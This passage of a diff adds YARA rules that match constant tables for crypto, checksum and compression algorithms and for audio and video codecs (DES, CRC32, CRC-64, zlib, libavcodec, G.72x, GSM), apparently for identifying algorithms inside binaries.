f2d3fbcacd8d360d8c6f8d4fb331db385af5607a65abadbd244916ff1b175257c2e8e915fdb624d2bc549f90830aed590bb8561b34e69bdc7504209e4a5a643693a5df74acfb12b3ed19a9f1d247ff863b8344c404dd8903453f32417a6176e9a39ecdab9cc0006cdd22bb2ee27c819ba9223ad9967cf71ed79e4c5ce8c008f4313fb3b60e617e714f83c53370dd934499192806a647e5c1e7a55e83d8fb1a2b0104a1693e5a6cae7fb8d7ec40e6a525c8541e67f70ad3a0b6e868e289b62c4a504997086f175acf2ef5e18d11abb7faf86f0cb8c731c17f86d37a3db98d3e95607285d75f2c48101ecef3522190b3242b6e08661430c5a155d27ee36a8c3a4bb37381098c2d4ccecdcff78cf291a1fb1b551ab9240bd77e65e96c3c5ab72894834893d6bc165e11fdf4e553c2aa979a4a182cd87546e11f34a45a5d0bfa1ef5d205a5b7ed5b6870acb9d33293e785457a233e07457df3c0049f48823bc10c2ae23eb768dd607aaf9c82c1eda3dcfb58e882401ad7dc8ddd963e369fa9607237709fc9754fc104b20e23bff0317de987d8b952c5e7e79f02a6052440995b60e840a4dbaa7ffa166d3e18ad2f0146dfe689f464a4b6aaa963f7481221c816568911e9edcb2eb7200c6f559b4e500bcd39b9cf767b8691bbbcc77300fef82d445621d2ff141e8c32d35f6e8991603046b9c8d2fdfbf78c303cb66e8b7e8930cfd650cf74946f91b9532e730211112d5466f8e9ef24c7b722e3865599a1b90bdd0960f4664b5faaab8c1e4810ce21166207a9a4d94596fa1482d718afc0e846eb6831b9502a0ee79ded4f0526af705b70d8999fcb9aa6c1065de723bd1fd87df9b7018242f53edc8f327f3e347040600ec50b3eb587346078407582c3024adc87aa93233ce8ac7df12fed9f4a6dd2c11c1a3b05a758045b6a9f45b9d1dd7ae79575a3182e379c46e3f0dda458b2e2fa2a7b6a48913955165cfe14f4e7bc2baaa314f2551856cd0bd5918ce96ed3b3b738a45a7383e6652d4e2124cff5631b91b1cbc26e0a89fd30c74ebcd27c0c838c22c7cd4b9985f2155442b3f7ef008ca9aba8555610ea6a08dd2d2bea666f14b43018fd708b5ac22e469d83ccfddfbc92b977656d02355a33cff21bd174b0248f0679ac3dbd3b936370fcd281cbbeeddf8f16342034540b7ef9934a9c42d175c214a69c06afe4a3586223e2bad961dde49dc9041b268b3b45eb4c7aa7500e45f96abb0ea7d1f931f91c3e701ba77c4f45e3d496ba5896a9e49551e8062e13d75878643e9cc32601c20ee14020b5a37f7ef10ba6814a4999df878ed83d3ccce7634e056fd1f547508f3880116d83c22e33c76af7cc7c28c892b1ef89700aadb62e5cda5feae79860b42a5f2156911d1e08d5b5c7f76ef7f8a9a330b94b18728615d75a2ef76c1811a9a1df504b1a9d6f155e35b6eae57789b428b0c85693f2f708c5851ecc7ec72192b300607008425f2e4cea86d1f7a8b98f3a6ff86d812dc733f3e44f8148a670df8561313d3e230e637a8bd79cc1c9e8c20c0ea920b74c967ee13b7fba5a7940e497be01062cfc3e586854e7a7d316d8f91ed1991ba593a6459f26ed1b2464d245e9a393a752e1acf916497506ad0b4a5860cc0bbadb8e34e48df9dd2036bbe27efb7ca39c403e9cc20496453dbfd47a6372133b81c95104dfbb988c6d00dab333cd1df2d1765fcd8f32f7147089b52b2e44726accff305592a947bc5612058308dfc2c2ea6480fdb42028244b9b6a1b1556ad5af7edef65a9ad996f5716db5009db1c11eb605e2eb524f6f74a9fb4c814527389f6e931b6a8bf465f6c04046032c9c321d072811e8e3629c7718d6bf82f40acb9cdfbee869389270e213265317fffa2709d44e04fc30048963cbb0aa96276cde880cd8fd7de9bf83e1a20ba0144ed7d40a6563f7ff81297a607a9d599596412d8bbdf50e7e5e5e5acbb5ea793e59360d2072822ed596c8a34a6d7c80bf81a0f4a1aa14d7544f73a9c804c78a3de81bfe23c3afddd627e55049dc5173bc308d07a21b392457fc15bcdcd7a19f293b7deb3710c9c8c2f483455d0f3766a8e3eb12b6c85f31432d384fdf668c6c2a8a501834a1e43bc145aeb65ebe1a95ab52c6e1b57972c240958048cebe346b3b52e81f25795c3cd09d16b14f66a292ba8a7ee6a4a1cac55144adbbcd0f199838e3c5ec26c871cfd32c3b424cd78f61b93b5315a710e73652f7cbaed9dc7f8d2c30a3f9321b17dac7ff5d575804e974ade83500b3c381234626e65dda6d527e2f818e0a31aa3a29c44e70a45bb5c487ae5918f3b072acd045910784f07ab3a705966fd31bbddbf0ee59917d71a2255e844ef92a9a654d096f802a77f3cb9e5406274220180cf603ede8bc8e721308ad87ffd4d999d460fa6c334c62e718f84112f424350cdf9016f93bda9b66c06eb8932cb2cc8d0706ef78e26191e4a9d5b2114509c60f6ebde5fa8af7686571434b909d9f3f8eb62b1c7b5 }
+
+condition:
+	$a0
+}
+
+	
+rule DES__32_big_AND_
+{
+strings:
+	$a0 = { 0f0f0f0f[0-20]0000ffff[0-20]33333333[0-20]00ff00ff[0-20]55555555 }
+
+condition:
+	$a0
+}
+
+	
+rule G_723_24__dqlntab__16_big_16_
+{
+strings:
+	$a0 = { F800008701110175017501110087F800 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_ff_mpa_enwindow__32_lil_1028_
+{
+strings:
+	$a0 = { 00000000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFFFEFFFFFFFEFFFFFFFEFFFFFFFDFFFFFFFDFFFFFFFCFFFFFFFCFFFFFFFBFFFFFFFBFFFFFFFAFFFFFFF9FFFFFFF9FFFFFFF8FFFFFFF7FFFFFFF6FFFFFFF5FFFFFFF3FFFFFFF2FFFFFFF0FFFFFFEFFFFFFFEDFFFFFFEBFFFFFFE8FFFFFFE6FFFFFFE3FFFFFFE1FFFFFFDDFFFFFFDAFFFFFFD7FFFFFFD3FFFFFFCFFFFFFFCBFFFFFFC6FFFFFFC1FFFFFFBCFFFFFFB7FFFFFFB1FFFFFFABFFFFFFA5FFFFFF9FFFFFFF98FFFFFF91FFFFFF8BFFFFFF83FFFFFF7CFFFFFF75FFFFFF6DFFFFFF66FFFFFF5FFFFFFF57FFFFFF50FFFFFF49FFFFFF42FFFFFF3CFFFFFF36FFFFFF30FFFFFFD5000000DA000000DE000000E1000000E3000000E4000000E4000000E3000000E0000000DD000000D7000000D0000000C8000000BD000000B1000000A3000000920000007F0000006A00000053000000390000001D000000FEFFFFFFDCFFFFFFB8FFFFFF91FFFFFF67FFFFFF3BFFFFFF0CFFFFFFDAFEFFFFA5FEFFFF6FFEFFFF35FEFFFFF9FDFFFFBBFDFFFF7BFDFFFF39FDFFFFF5FCFFFFB0FCFFFF69FCFFFF21FCFFFFD8FBFFFF8FFBFFFF46FBFFFFFDFAFFFFB4FAFFFF6CFAFFFF26FAFFFFE1F9FFFF9EF9FFFF5EF9FFFF21F9FFFFE7F8FFFFB2F8FFFF81F8FFFF56F8FFFF2FF8FFFF10F8FFFFF7F7FFFFE5F7FFFFDBF7FFFFD9F7FFFFE0F7FFFFF1F7FFFFF5070000D0070000A0070000650700001E070000CB0600006C060000FF05000086050000000500006B040000CA0300001A0300005D02000092010000B9000000D3FFFFFFE0FEFFFFDFFDFFFFD2FCFFFFB9FBFFFF94FAFFFF64F9FFFF2AF8FFFFE6F6FFFF99F5FFFF44F4FFFFE9F2FFFF87F1FFFF21F0FFFFB7EEFFFF4CEDFFFFDFEBFFFF73EAFFFF09E9FFFFA3E7FFFF43E6FFFFE9E4FFFF99E3FFFF53E2FFFF1AE1FFFFEFDFFFFFD5DEFFFFCDDDFFFFDADCFFFFFDDBFFFF38DBFFFF8FDAFFFF01DAFFFF92D9FFFF44D9FFFF19D9FFFF12D9FFFF31D9FFFF79D9FFFFEAD9FFFF88DAFFFF53DBFFFF4DDCFFFF78DDFFFFD4DEFFFF64E0FFFF28E2FFFF22E4FFFFAE19000047170000A8140000D1110000C00E0000770B0000F50700003A040000460000001AFCFFFFB6F7FFFF1CF3FFFF4BEEFFFF46E9FFFF0EE4FFFFA4DEFFFF09D9FFFF41D3FFFF4CCDFFFF2CC7FFFFE5C0FFFF79BAFFFFEAB3FFFF3BADFFFF6FA6FFFF8A9FFFFF8E98FFFF7F91FFFF608AFFFF3583FFFF017CFFFFC874FFFF8F6DFFFF5866FFFF285FFFFF0258FFFFEB50FFFFE749FFFFFA42FFFF273CFFFF7335FFFFE22EFFFF7628FFFF3622FFFF231CFFFF4216FFFF9710FFFF240BFFFFED05FFFFF600FFFF42FCFEFFD3F7FEFFACF3FEFFD1EFFEFF42ECFEFF04E9FEFF17E6FEFF7DE3FEFF39E1FEFF4CDFFEFFB7DDFEFF7ADCFEFF98DBFEFF10DBFEFF1E250100 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC32_poly_0x3b6e20c8__32_lil_refl_True_
+{
+strings:
+	$a0 = { 000000005e91311d05cf6b1c5b5e5a01b373df1eede2ee03b6bcb402e82d851fdf0ab61b819b8706dac5dd078454ec1a6c79690532e8581869b602193727330407f864115969550c02370f0d5ca63e10b48bbb0fea1a8a12b144d013efd5e10ed8f2d20a8663e317dd3db91683ac880b6b810d1435103c096e4e660830df5715b71dc104e98cf019b2d2aa18ec439b05046e1e1a5aff2f0701a175065f30441b6817771f368646026dd81c0333492d1edb64a80185f5991cdeabc31d803af200b0e5a515ee749408b52ace09ebbbff1403967a0b5d074b160659111758c8200a6fef130e317e22136a20781234b1490fdc9ccc10820dfd0dd953a70c87c296116e3b820930aab3146bf4e9153565d808dd485d1783d96c0ad887360b86160716b1313412efa0050fb4fe5f0eea6f6e130242eb0c5cd3da11078d8010591cb10d69c3e6183752d7056c0c8d04329dbc19dab039068421081bdf7f521a81ee6307b6c95003e858611eb3063b1fed970a0205ba8f1d5b2bbe000075e4015ee4d51cd926430d87b77210dce928118278190c6a559c1334c4ad0e6f9af70f310bc612062cf51658bdc40b03e39e0a5d72af17b55f2a08ebce1b15b0904114ee017009dede271c804f1601db114c0085807d1d6dadf802333cc91f6862931e36f3a20301d491075f45a01a041bfa1b5a8acb06b2a74e19ec367f04b7682505e9f91418dc76041382e7350ed9b96f0f87285e126f05db0d3194ea106acab011345b810c037cb2085ded831506b3d9145822e809b00f6d16ee9e5c0bb5c0060aeb513717db8e6002851f511fde410b1e80d03a0368fdbf1c366c8e016d32d40033a3e51d0484d6195a15e704014bbd055fda8c18b7f70907e966381ab238621beca953066b6bc51735faf40a6ea4ae0b30359f16d8181a0986892b14ddd7711583464008b461730ceaf04211b1ae1810ef3f290d0712ac1259839d0f02ddc70e5c4cf6136c93a1063202901b695cca1a37cdfb07dfe07e1881714f05da2f150484be2419b399171ded082600b6567c01e8c74d1c00eac8035e7bf91e0525a31f5bb49202b24d861aecdcb707b782ed06e913dc1b013e59045faf681904f132185a6003056d47300133d6011c68885b1d36196a00de34ef1f80a5de02dbfb8403856ab51eb5b5e20beb24d316b07a8917eeebb80a06c63d1558570c08030956095d9867146abf5410342e650d6f703f0c31e10e11d9cc8b0e875dba13dc03e0128292d10f0550471e5bc17603009f2c025e0e1d1fb6239800e8b2a91db3ecf31ced7dc201da5af10584cbc018df959a198104ab0469292e1b37b81f066ce645073277741a02a8230f5c3912120767481359f6790eb1dbfc11ef4acd0cb414970dea85a610dda295148333a409d86dfe0886fccf156ed14a0a30407b176b1e2116358f100b }
+
+condition:
+	$a0
+}
+
+	
+rule Zlib_base_length__32_lil_116_
+{
+strings:
+	$a0 = { 0000000001000000020000000300000004000000050000000600000007000000080000000a0000000c0000000e0000001000000014000000180000001c000000200000002800000030000000380000004000000050000000600000007000000080000000a0000000c0000000e000000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule EC_curve__EC_SECG_PRIME_128R2_SEED__8_byt_20_
+{
+strings:
+	$a0 = { 004d696e67687561517512d8f03431fce63b88f4 }
+
+condition:
+	$a0
+}
+
+	
+rule EPWIC_Sum_to_sqrt_2_lo_filter__flt32___32_big_36_
+{
+strings:
+	$a0 = { 3ce5f641bd799bf8bd9648953ed452733f4c1db33ed45273bd964895bd799bf83ce5f641 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_ff_wma_lsp_codebook__flt32___32_big_544_
+{
+strings:
+	$a0 = { 3ffe60ca3ffd5e773ffc63a53ffb36a83ff9a62d3ff778613ff41ee13fee53343ffc7e283ffafc883ff993e53ff812673ff66bd83ff47e393ff237a63fef8d403fec3e333fe823693fe35a8b3fddc7903fd6ec0c3fce07123fc10fdc3faa64df3ff356f43feeb2903feac6f53fe69d993fe21cb63fdd34743fd7aef73fd195c03fcae1cc3fc24c3f3fb7e9083fab74ed3f9ef20f3f8fb1983f77addd3f3d90453fe27cf73fd6d0113fccbb3a3fc48ebb3fbcc33b3fb4bfbf3fac2c163fa2fe9c3f98b5793f8c7fda3f7cf9d63f5f553e3f3e62953f1901ad3edd05fd3e3815af3fb7969a3fa902543f9af98e3f8d8a323f80b8133f67428d3f4deb833f35044a3f1ab1b33eff0c453ec52b393e8ac96d3e13882d3b101ec7be2b43f4bebd1cde3f7fbba33f57858e3f35212c3f143dab3ef0ecab3ebd45573e895a393e2fc0c53d93a0bcbcfaea6cbfb33f74be80a90abebe890dbf02c0efbf261caebf4d96ac3e87c21c3d814d31bdb5b340be5819afbe9f13a6becb29cbbef1c8c0bf0aaaf9bf1d4c6dbf307eb6bf440b9bbf5a0911bf73f0a4bf8856bdbf9a40f3bfb02695bf0a1651bf3cda84bf625e20bf816e53bf912356bfa257aebfb5d051bfcf6746bf8d00d7bf9522d6bf9ddf1cbfa6ee31bfb03584bfbbf911bfc9c2d2bfd59fb5bec5a469bf0f624abf2b7705bf42a205bf56a55bbf689f4fbf795de2bf84bac4bfc7dd97bfd4688abfdd0af5bfe3a86dbfe93848bfee5c98bff39041bff95ec6 }
+
+condition:
+	$a0
+}
+
+	
+rule pc12_tbl_reconstruction_levels_for_1st_and_2nd_coefficients__32_big_512_
+{
+strings:
+	$a0 = { FFF00020FFF00120FFF00320FFF00620FFF00A20FFF00F20FFF01520FFF01C20FFF02420FFF02D20FFF03720FFF04220FFF04E20FFF05B20FFF06920FFF07820FFF08820FFF09920FFF0AB20FFF0BE20FFF0D220FFF0E720FFF0FD20FFF11420FFF12C20FFF14520FFF15F20FFF17A20FFF19620FFF1B320FFF1D120FFF1F020FFF21020FFF23120FFF25320FFF27620FFF29A20FFF2BF20FFF2E520FFF30C20FFF33420FFF35D20FFF38720FFF3B220FFF3DE20FFF40B20FFF43920FFF46820FFF49820FFF4C920FFF4FB20FFF52E20FFF56220FFF59720FFF5CD20FFF60420FFF63C20FFF67520FFF6AF20FFF6EA20FFF72620FFF76320FFF7A120FFF7E020FFF82020FFF86120FFF8A320FFF8E620FFF92A20FFF96F20FFF9B520FFF9FC20FFFA4420FFFA8D20FFFAD720FFFB2220FFFB6E20FFFBBB20FFFC0920FFFC5820FFFCA820FFFCF920FFFD4B20FFFD9E20FFFDF220FFFE4720FFFE9D20FFFEF420FFFF4C20FFFFA520FFFFFF2000005A200000B62000011320000171200001D02000023020000291200002F320000356200003BA2000041F20000485200004EC20000554200005BD2000062720000692200006FE2000076B200007D920000848200008B8200009292000099B20000A0E20000A8220000AF720000B6D20000BE420000C5C20000CD520000D4F20000DCA20000E4620000EC320000F4120000FC020 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_qcelp_lspvq4__16_lil_256_
+{
+strings:
+	$a0 = { 5c0137012c0379042802cd01220707015902a302c206ac00f305c100910915014e019c022503a1052705cf0094068e03460226057b054a04d30340038c0a4f057002e4000c05d3032003c300b2081d01da025e03010659025b04fd01a00a6201da008f04bc0402063204f7008a06ae0642015e08ef040903d5032c024708ae06c10054020b04bd03b6028d01cd07fd00e7025b023006410142055a01ad08c402c301dc0210048705a004e6003d07970336017d065906c20258034b03560bbe02d3015c01540418045b033201ac07cf013002f5039105150276047a0257096f038d013c044105a406d003f8005f07a50484022708ee045b026d0326029b081b05 }
+
+condition:
+	$a0
+}
+
+	
+rule LD_CELP_G_728_hw_percw__flt32___32_big_240_
+{
+strings:
+	$a0 = { 3f14c2003f175a003f1a00003f1cb2003f1f6e003f2238003f250e003f27f0003f2ae0003f2ddc003f30e6003f33fe003f3724003f3a56003f3d98003f40ea003f4448003f47b6003f4b34003f4ec2003f525e003f560c003f59ca003f5d98003f6178003f656a003f696c003f6d80003f71a6003f75e0003f79b2003f7ca0003f7ea6003f7fc4003f7ff6003f7f40003f7da0003f7b1a003f77ac003f735c003f6e2e003f6826003f614a003f59a0003f512e003f47fe003f3e16003f3380003f2848003f1c74003f1012003f032c003eeb9c003ed008003eb3b8003e96c0003e7280003e36a8003df440003d74a000 }
+
+condition:
+	$a0
+}
+
+	
+rule Standard_huffman_HuffFreq_table__0_14473691___flt64___64_big_2048_
+{
+strings:
+	$a0 = { 3fc286bd337caf283f877dac283c8a1f3f5b7261c7454e693fa39d86e40a561a3f6d3600ede6a2e23fa383911998577a3f5d3483c03e74043f605ad69045071b3f5e11025bcfdf7c3f627d9b8c38072d3f614e061d5072df3f694c9d119e380f3f5c51f037b5f9cd3f5e92e824970e243f61b0310ab9ed4c3f5babcd4dd119383f5b9fb8ed71dde93f61e814a6d618253f674c980920bb0c3f5a83c49b2509fb3f600f51d78e1be23f58be9d8a14158c3f5c7f3ca11b18343f61e38d02b261e73f83217bfba3fac73f6210d96c17804f3f6f3a92f8eb8eaf3f5e6296a31a20e93f5fe542e557de0d3f5a89cecb54a7a23f5e95ed3caedcf83f5dd49c79f3b6f13fb070b16df6a8933f7607184d28d2b23f750de13f1fa58d3f73f430bee4acbd3f743b2dd377e1b93f749bd634d574bc3f750de13f1fa58d3f7293807ae4a2ac3f729b0fe65204043f73e4535135d2a03f714d422818a2e43f784e1d196b60f73f72c3d75ac548743f6c27a38804f1ac3f6c1584f77618b63f75c62568c53b5e3f6a9d6fe7ef68023f6b4fa7323383e63f6948156d7a81d13f6810ede3f3afe63f6535e76d8cf6483f653d7429c87b593f6ee4770d7d97053f65e9a143dcf9963f62a35b3961a0843f710a0b71a330713f6460f02fd357553f68b41114247a333f6219e8b45eecca3f60f4e519caac613f66260c841cdaac3f62faf9b0db7f983f666e8c24bbf7123f727852a20e5d3b3f6f7d08695b0d6d3f74ac74e88a428f3f621ff842f242fe3f6ee171f565c8313f63162789b1c50a3f699b26e26cf21c3f67e524069a78e83f66f4f991a6dbf73f64adf7749629f83f62cc255d06c13a3f681d07a2b6a3c13f63c25a0229fbd23f6e07f3138873013f605f5e3468bd593f651f4138da67143f6280a0a44fd6013f655a248eaaa8353f5eae15fd6d53953f65d600274239363f63e08cf31810173f61fa333764f11b3f5f7880c537572f3f5dd49c79f3b6f13f966248ca742cf93f59cb7863e9df573f5aed76e66650ed3f5a71a60a9631043f5eba2a5dcc8ee43f5e83ceac2004013fa11804ae9076b03f5ea2019d0e18473f5c33bd46c7e5873f5854eb3ed2ce9a3f5d1f555ad05b223f57b1cd6d05bcd83f5f879a3dae61523f5bcd0556d6fc513f61284111c320fc3f61284111c320fc3f6538ec85a4c51c3f5fdf38b52840663f5de0b0da52f2403f5a10f84ad4e5753f57c9f62dc433763f55010e47ec52cf3f59f2c559e6d1303f5c158a55d9d1423f63f128f79b01a43f6c51f037b5f9cd3f599e2bfa84c0ef3f57df19d66adb403f59b959d35b06613f6308909d46a2513f5943886af313083f570ea4de7139ff3f67a8b8c65a97d13f590a27a12eb9513f58c7b78f22f31f3f647f2320c16b9b3f62626db361c1bc3f5a80bf830d3b273f7d42d9437dae2c3fb4f6771535465e3f806f9aed81a32e3f539385ae553d743f5448c210b1282c3facd6dac2aebbc03f68ff95ccdb656c3f514c8391448b753f51437448fd1efa3f5042adcf86907d3f4da4403baf589e3f51efa163119d363f52e7589440bf383f65663e4d6d9c103f514f88a95c5a493f5460ead16f9ec93f506ffa38ebaee53f54e5d5b24e9c453f4d67da59d330133f5a9ef273fb4f6c3f50851de19256af3f4fdc28e049007a3f49d79781108bbe3f5191f8bb68207b3f4ba8bd78f1d94c3f65c56422bf47a93f5326c38e34b6963f47f43d7f11830a3f48cdc1bf5290c73f4ec63ebe2bca333f5182df42f116583f4c702328a40e123f5e68a0d349be903f78eb30bb08d5113f55e39713ad5bee3f48cdc1bf5290c73f540047ce75c4523f7738f43d541e653f51bc4ac97ce1273f654500e604006b3f49408352db44343f5b4b1f8e0fcda83f4d9e360b7fbaf63f4c884be96284af3f4bd31a43ce0b103f5573cfdb75063c3f5a9bed5be380983f4c27a8e668aa383f4e95ed3caedcf83f4ec0348dfc2c8c3f4cbea79b0f0f923f51bc4ac97ce1273f50277ff6b04b0c3f4f6f717cefeab43f7183a33828e6533f7457de385a0e943f50d6b228dc981c3f5a1a07931c51f03f53663944f01f0c3f52d53a03b1e6423f513155b86e46043f5949929b22b0af3f56f377059af48e3f52fc7c3ce767023f5225fd14be28193f5a6586ed6f849d3f5bb4dc961885b33f51aa217c2697193f57633e3dd34a3f3f66ebea495f6f7c3f4c27a8e668aa383f530e9acd763ff83f539385ae553d743f551027c0635cf23f57f43d7f11830a3f55559cea86f1f73f50a35b8f47dc0d3f4e110d189750943f5a688c058753713f635d249e44fa053f559b1cd171f8153f618a6bff2c9b693f4d1f601797cc3a3f56b40c0ba6fd2f3f615d1f95c77d023f4ed2531e8b05823f4cdcf0058c06083f4efc9a6fd855163f4d9221ab207fa73f5164ac520302133f4d0d418708f3443f52c310b65b9c333f4f69674cc04d0d3f51d16e722388f13f5457db8928324e3f717d9658c76c663f5a1d0cab3420c43f5bf14277f4ae3d3f511c2753002d213f4df2c4ae1a5a1e3f4f635d1c90af653f5610ee39d9eb6e3f4f330b9b13c22a3f515b9d09bb95983f4ed85d4ebaa32a3f573f011cb598533f50bb84500652aa3f50b27507bee62f3f4ae77772fe245e3f59f5ca71fea0043f50d0a7f8acfa743f4cd0c62b9de8893f56d23efc9511753f52c91ae68b39da3f4f4b345bd238c73f5a6ea0f27e62313f54bb8e61014cb13f528cb504af11503f5442b7e0818a843f50a965bf7779b43f5280a0a44fd6013f6a0c70a6b12f373f4bf75764ebbcfd3f5094375a0960d23f5f1ad81d8dda743f51528dc174291d3f5e9bf76cde7a9f3f4e71b01b912b0b3f5a5c77a5281822 }
+
+condition:
+	$a0
+}
+
+	
+rule libavformat_fps_umf2avr_AVRational_map__32_big_40_
+{
+strings:
+	$a0 = { 00000032000000010000ea60000003e90000001800000001000000190000000100007530000003e9 }
+
+condition:
+	$a0
+}
+
+	
+rule function_where_is_handled_the_ZipCrypto_password__32_big_AND_
+{
+strings:
+	$a0 = { 12345678[0-20]23456789[0-20]34567890 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_h264_tc0_table__8_byt_624_
+{
+strings:
+	$a0 = { FF000000FF000000FF000000FF000000FF000000FF000000FF000000FF000000FF000000FF000000FF000000FF000000FF000000FF000000FF000000FF000000FF000000FF000000FF000000FF000000FF000000FF000000FF000000FF000000FF000000FF000000FF000000FF000000FF000000FF000000FF000000FF000000FF000000FF000000FF000000FF000000FF000000FF000000FF000000FF000000FF000000FF000000FF000000FF000000FF000000FF000000FF000000FF000000FF000000FF000000FF000000FF000000FF000000FF000000FF000000FF000000FF000000FF000000FF000000FF000000FF000000FF000000FF000000FF000000FF000000FF000000FF000000FF000000FF000000FF000001FF000001FF000001FF000001FF000101FF000101FF010101FF010101FF010101FF010101FF010102FF010102FF010102FF010102FF010203FF010203FF020203FF020204FF020304FF020304FF030305FF030406FF030406FF040507FF040508FF040609FF05070AFF06080BFF06080DFF070A0EFF080B10FF090C12FF0A0D14FF0B0F17FF0D1119FF0D1119FF0D1119FF0D1119FF0D1119FF0D1119FF0D1119FF0D1119FF0D1119FF0D1119FF0D1119FF0D1119FF0D1119FF0D1119FF0D1119FF0D1119FF0D1119FF0D1119FF0D1119FF0D1119FF0D1119FF0D1119FF0D1119FF0D1119FF0D1119FF0D1119FF0D1119FF0D1119FF0D1119FF0D1119FF0D1119FF0D1119FF0D1119FF0D1119FF0D1119FF0D1119FF0D1119FF0D1119FF0D1119FF0D1119FF0D1119FF0D1119FF0D1119FF0D1119FF0D1119FF0D1119FF0D1119FF0D1119FF0D1119FF0D1119FF0D1119FF0D1119FF0D1119 }
+
+condition:
+	$a0
+}
+
+	
+rule Sine_table__32_lil_1024_
+{
+strings:
+	$a0 = { 800000008300000086000000890000008c0000008f0000009200000095000000980000009c0000009f000000a2000000a5000000a8000000ab000000ae000000b0000000b3000000b6000000b9000000bc000000bf000000c1000000c4000000c7000000c9000000cc000000ce000000d1000000d3000000d5000000d8000000da000000dc000000de000000e0000000e2000000e4000000e6000000e8000000ea000000ec000000ed000000ef000000f0000000f2000000f3000000f5000000f6000000f7000000f8000000f9000000fa000000fb000000fc000000fc000000fd000000fe000000fe000000ff000000ff000000ff000000ff000000ff000000ff000000ff000000ff000000ff000000ff000000ff000000fe000000fe000000fd000000fc000000fc000000fb000000fa000000f9000000f8000000f7000000f6000000f5000000f3000000f2000000f0000000ef000000ed000000ec000000ea000000e8000000e6000000e4000000e2000000e0000000de000000dc000000da000000d8000000d5000000d3000000d1000000ce000000cc000000c9000000c7000000c4000000c1000000bf000000bc000000b9000000b6000000b3000000b0000000ae000000ab000000a8000000a5000000a20000009f0000009c0000009800000095000000920000008f0000008c000000890000008600000083000000800000007c000000790000007600000073000000700000006d0000006a0000006700000063000000600000005d0000005a0000005700000054000000510000004f0000004c000000490000004600000043000000400000003e0000003b000000380000003600000033000000310000002e0000002c0000002a000000270000002500000023000000210000001f0000001d0000001b0000001900000017000000150000001300000012000000100000000f0000000d0000000c0000000a0000000900000008000000070000000600000005000000040000000300000003000000020000000100000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000010000000200000003000000030000000400000005000000060000000700000008000000090000000a0000000c0000000d0000000f0000001000000012000000130000001500000017000000190000001b0000001d0000001f000000210000002300000025000000270000002a0000002c0000002e000000310000003300000036000000380000003b0000003e000000400000004300000046000000490000004c0000004f0000005100000054000000570000005a0000005d0000006000000063000000670000006a0000006d000000700000007300000076000000790000007c000000 }
+
+condition:
+	$a0
+}
+
+	
+rule mp3lib_huffman_tab8__16_big_142_
+{
+strings:
+	$a0 = { FFBFFFC1FFC5FFD3FFE1FFEDFFF3FFF9FFFBFFFDFFFF0055005400450053FFFDFFFF003500440025FFFDFFFF005200050015FFFBFFFF0051FFFF00340043FFFDFFFF005000330024FFFBFFFDFFFF004200140041FFFDFFFF00040040FFFF00230032FFF7FFF9FFFDFFFF00130031FFFF000300300022FFFF00020020FFFF001200210011FFFDFFFF000100100000 }
+
+condition:
+	$a0
+}
+
+	
+rule G_721__dqlntab__16_lil_32_
+{
+strings:
+	$a0 = { 00F804008700D500110143017501A901A901750143011101D5008700040000F8 }
+
+condition:
+	$a0
+}
+
+	
+rule GSM_table_gsm_MAC__16_lil_16_
+{
+strings:
+	$a0 = { 1f001f000f000f000700070003000300 }
+
+condition:
+	$a0
+}
+
+	
+rule sfb_32_512__16_lil_74_
+{
+strings:
+	$a0 = { 040008000c001000140018001c002000240028002c00300034003800400048005000580060006c00780084009000a000b000c000d400ec0004012001400160018001a001c001e0010002 }
+
+condition:
+	$a0
+}
+
+	
+rule Crypton_kq__32_big_16_
+{
+strings:
+	$a0 = { 9b05688c1f83d9ab5be0cd19cbbb9d5d }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_64_ISO_poly_0xB000000000000001__64_lil_refl_True_
+{
+strings:
+	$a0 = { 00000000000000000b000000000000c70d0000000000008e0600000000000049010000000000001c0a000000000000db0c000000000000920700000000000055020000000000003809000000000000ff0f000000000000b60400000000000071030000000000002408000000000000e30e000000000000aa050000000000006d04000000000000700f000000000000b709000000000000fe0200000000000039050000000000006c0e000000000000ab08000000000000e2030000000000002506000000000000480d0000000000008f0b000000000000c6000000000000000107000000000000540c000000000000930a000000000000da010000000000001d08000000000000e00300000000000027050000000000006e0e000000000000a909000000000000fc020000000000003b04000000000000720f000000000000b50a000000000000d8010000000000001f07000000000000560c000000000000910b000000000000c40000000000000003060000000000004a0d0000000000008d0c000000000000900700000000000057010000000000001e0a000000000000d90d0000000000008c060000000000004b00000000000000020b000000000000c50e000000000000a8050000000000006f030000000000002608000000000000e10f000000000000b40400000000000073020000000000003a09000000000000fd0b000000000000c00000000000000007060000000000004e0d000000000000890a000000000000dc010000000000001b07000000000000520c0000000000009509000000000000f8020000000000003f04000000000000760f000000000000b108000000000000e40300000000000023050000000000006a0e000000000000ad0f000000000000b00400000000000077020000000000003e09000000000000f90e000000000000ac050000000000006b030000000000002208000000000000e50d00000000000088060000000000004f00000000000000060b000000000000c10c000000000000940700000000000053010000000000001a0a000000000000dd030000000000002008000000000000e70e000000000000ae0500000000000069020000000000003c09000000000000fb0f000000000000b2040000000000007501000000000000180a000000000000df0c00000000000096070000000000005100000000000000040b000000000000c30d0000000000008a060000000000004d07000000000000500c000000000000970a000000000000de0100000000000019060000000000004c0d0000000000008b0b000000000000c2000000000000000505000000000000680e000000000000af08000000000000e6030000000000002104000000000000740f000000000000b309000000000000fa020000000000003d0d000000000000800600000000000047000000000000000e0b000000000000c90c0000000000009c070000000000005b01000000000000120a000000000000d50f000000000000b8040000000000007f020000000000003609000000000000f10e000000000000a40500000000000063030000000000002a08000000000000ed09000000000000f00200000000000037040000000000007e0f000000000000b908000000000000ec030000000000002b05000000000000620e000000000000a50b000000000000c8000000000000000f06000000000000460d000000000000810a000000000000d40100000000000013070000000000005a0c0000000000009d05000000000000600e000000000000a708000000000000ee0300000000000029040000000000007c0f000000000000bb09000000000000f2020000000000003507000000000000580c0000000000009f0a000000000000d6010000000000001106000000000000440d000000000000830b000000000000ca000000000000000d01000000000000100a000000000000d70c0000000000009e0700000000000059000000000000000c0b000000000000cb0d000000000000820600000000000045030000000000002808000000000000ef0e000000000000a60500000000000061020000000000003409000000000000f30f000000000000b